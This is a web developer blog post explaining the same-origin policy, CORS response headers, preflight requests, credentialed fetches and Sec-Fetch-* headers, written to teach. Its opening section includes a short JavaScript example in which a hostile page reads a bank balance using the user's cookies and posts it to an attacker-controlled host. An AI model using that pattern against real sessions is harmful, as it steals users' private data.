Skip to content

Same-origin policy and CORS: who can read data from another server

Profile photo of Adrian Zawadzki

Adrian Zawadzki

12 min read

The browser's same-origin policy (SOP) blocks JavaScript on one page from reading data from another domain - unless the server explicitly allows it through CORS. This post walks through how that server-side permission mechanism works, why you sometimes see a preflight OPTIONS request, and why you sometimes don't.

Every page in the browser has its own origin - a combination of the scheme (http / https), the domain (e.g. example.com), and the port (e.g. 443 for HTTPS, 8080 for a dev server). Same-origin policy (SOP) is the rule that says JavaScript on one page can’t read data from another page if those two pages have different origins. CORS (Cross-Origin Resource Sharing) is the mechanism that lets a server make an exception to that rule.

In this post I unpack both: when a preflight OPTIONS request appears in the network tab, why credentials: 'include' needs separate consent, and what exactly the Sec-Fetch-* headers mean.

#Same-origin policy - what it is and why it exists

The SOP rule rests on the concept of origin. For two URLs to share the same origin, all three pieces - scheme, host, and port - have to match:

https://example.com/page        → origin: (https, example.com, 443)
http://example.com/page         → different scheme = different origin
https://api.example.com/page    → different subdomain = different origin
https://example.com:8080/page   → different port = different origin

A quick clarification on what “a request to another site” actually means: pages don’t talk to each other directly. JavaScript on https://yoursite.com calls fetch('https://api.example.com'), and the browser carries out that call as an HTTP request to the api.example.com server - the same way it would if you typed the URL into the address bar yourself. The whole conversation physically goes over the network. SOP is an extra check inside the browser itself: it received the response from the server, but it won’t necessarily hand it over to your page.

The same-origin policy says: a page at https://yoursite.com can freely talk to other pages at https://yoursite.com, but it can’t read the response from https://api.example.com - even if the request technically succeeded.

Why does that make sense? Picture a world without SOP. You open some random site, https://untrusted-site.com. Its JavaScript runs:

const response = await fetch("https://your-bank.com/api/balance", {
  credentials: "include",
});
const balance = await response.text();
await fetch("https://untrusted-site.com/log", {
  method: "POST",
  body: balance,
});

Without SOP, that script could send a request to your bank (cookies tag along automatically thanks to credentials: 'include'), read your balance, and ship it off somewhere else. SOP disables that by default - a script on untrusted-site.com can send the request, but it can’t read the response.

That’s the foundation of the web’s security model. The HTML Living Standard formally defines what an origin is, and the Fetch Standard describes how SOP is enforced inside fetch().

#CORS - the server’s permission mechanism

In the real world you often want your app at https://yoursite.com to pull data from https://api.example.com. SOP would block that. CORS is the mechanism that lets the server say: “this page is allowed to read my responses.”

The key point: the server decides, not the browser. The browser enforces the rule, but it’s the server that says what’s allowed. The entire CORS conversation happens through HTTP headers.

The simplest scenario: the server adds a response header:

Access-Control-Allow-Origin: https://yoursite.com

The browser sees that header, checks whether your page’s origin is on the allowed list, and if it is, hands the response to the page. If the header is missing or the origin doesn’t match - you get blocked by CORS policy in the console.

That’s the whole mechanic for simple requests. Things get more complicated for requests that might change state on the server.

#Simple requests vs preflight

Not every request is treated the same. CORS splits them into two categories.

A simple request has to meet all of these conditions:

  • Method is GET, HEAD, or POST
  • Only headers from the safelist: Accept, Accept-Language, Content-Language, Content-Type (and even Content-Type is restricted to text/plain, multipart/form-data, or application/x-www-form-urlencoded)
  • No custom headers (e.g. Authorization, X-Custom-Header)

For a simple request, the browser just sends it with an Origin: https://yoursite.com header and inspects the response. If the server replies with an Access-Control-Allow-Origin matching your origin, the response is available in .then() after fetch() in your code.

Play with the configuration below to see when a request qualifies as simple and when it forces a preflight:

HTTP method:
Content-Type:
Custom headers:
Simple request

All three conditions met - the browser sends the request in a single round trip, no OPTIONS first.

What's driving the decision
  • Method GET is on the safelist (GET, HEAD, POST)
  • Content-Type text/plain is on the safelist
  • No custom headers set

Anything else needs a preflight - an extra request that goes out BEFORE the real one. Preflight is always an OPTIONS request with additional headers:

OPTIONS /api/data HTTP/1.1
Origin: https://yoursite.com
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Authorization, Content-Type

The browser is asking: “I want to send a PUT with these headers. Is that OK?”. The server answers:

HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://yoursite.com
Access-Control-Allow-Methods: PUT, POST, GET
Access-Control-Allow-Headers: Authorization, Content-Type
Access-Control-Max-Age: 86400

If the answer is OK, the browser sends the actual request (PUT). If the server refuses, you get an error and the real PUT never goes out. Access-Control-Max-Age tells the browser how long it can cache that preflight response locally so it doesn’t have to ask again on every request.

Why have preflight at all? Because methods like PUT and DELETE, or custom headers, can change state on the server. The browser doesn’t want to send a state-changing request to a foreign server until that server has confirmed it allows cross-origin operations of this kind. Preflight is a pre-authorization handshake - the server explicitly says “this page is allowed to PUT with these headers” before anything actually changes.

The full mechanics of preflight live in Fetch Standard - CORS preflight.

By default, fetch() does not send cookies on a cross-origin request. Even if the server set a cookie for api.example.com, your script on yoursite.com won’t ship it back.

To get the cookies to fly along, you have to explicitly set the credentials mode:

fetch("https://api.example.com/me", {
  credentials: "include",
});

But that alone isn’t enough. The server also has to explicitly allow it:

Access-Control-Allow-Origin: https://yoursite.com
Access-Control-Allow-Credentials: true

And one more trap: if Access-Control-Allow-Credentials: true, then Access-Control-Allow-Origin cannot be *. It has to be a specific origin. Why? Because * is the so-called wildcard (an asterisk as a universal symbol), meaning “any origin.” Credentials mean a user’s session - the server has to point at a specific page it trusts for operations on that session. The wildcard would mean “I trust every page,” which doesn’t make sense when you’re authorizing a specific session.

That double consent (script + server) is intentional. Cookies are sessions, sessions are authorization, authorization is sensitive operations. Defaulting to “off” forces both the script author and the API author to make a conscious decision.

#Sec-Fetch-* - extra context for the server

Classic CORS only relies on the Origin header. Modern fetch adds the Sec-Fetch-* family of headers, which the browser automatically attaches to every outgoing request. The most important one:

  • Sec-Fetch-Site: cross-site - tells the server the request is coming from a different domain than the page the user is on.

What’s it good for? A classic CSRF (Cross-Site Request Forgery) attack works like this: a foreign page sends a request to an API where the user is logged in - cookies tag along automatically, so the server sees a valid session and executes an action the user never asked for (e.g. password change, money transfer). Sec-Fetch-Site: cross-site gives the server a clean signal to reject such a request immediately, before it reaches the authorization logic - without leaning on CORS alone. Defense in depth.

The full family (Sec-Fetch-Mode, Sec-Fetch-Dest, Sec-Fetch-User and their values) is described in Fetch Metadata Request Headers (W3C). Browser support: Chrome 76+, Firefox 90+, Safari 16.4+.

#What to remember about CORS

CORS is often read as a block, but the model is exactly the opposite: SOP blocks everything by default, and CORS is the server’s permission mechanism.

Three things that fit together:

  1. Origin = scheme + host + port. Any difference in that triple means a different origin, and a different origin means SOP blocks.
  2. The server decides. The browser just enforces. Every Access-Control-Allow-* is the server saying “this page is allowed.” No header = no permission = blocked.
  3. Preflight is pre-authorization. For non-simple requests, the browser asks OPTIONS before it sends a PUT or DELETE. The point: don’t send a state-changing request to a foreign server until that server has confirmed permission.

Next time you see blocked by CORS policy in the console, the diagnostic path is short:

  1. Check the response headers in the Network tab. If Access-Control-Allow-Origin is missing, the server simply didn’t send you the permission (the most common case for fresh APIs). If it’s there but lists a different origin than your page, the server allows other pages, just not the one making the fetch.
  2. See whether an OPTIONS request shows up before the real one. If yes, that’s a preflight. Look at the OPTIONS response: do Access-Control-Allow-Methods and Access-Control-Allow-Headers cover what you’re trying to send (PUT, custom header, etc.)?
  3. If you’re using credentials: 'include', the server has to send two things together: Access-Control-Allow-Credentials: true AND Access-Control-Allow-Origin: <your specific origin> (not *).

The practical takeaway is one: when you see a CORS error, don’t go hunting for a fix around fetch() or in mode: 'no-cors'. Open Network, check the server’s response headers, add Access-Control-Allow-Origin on the backend. This isn’t a client bug, it’s a missing server config.

Comments

Loading comments…

Leave a comment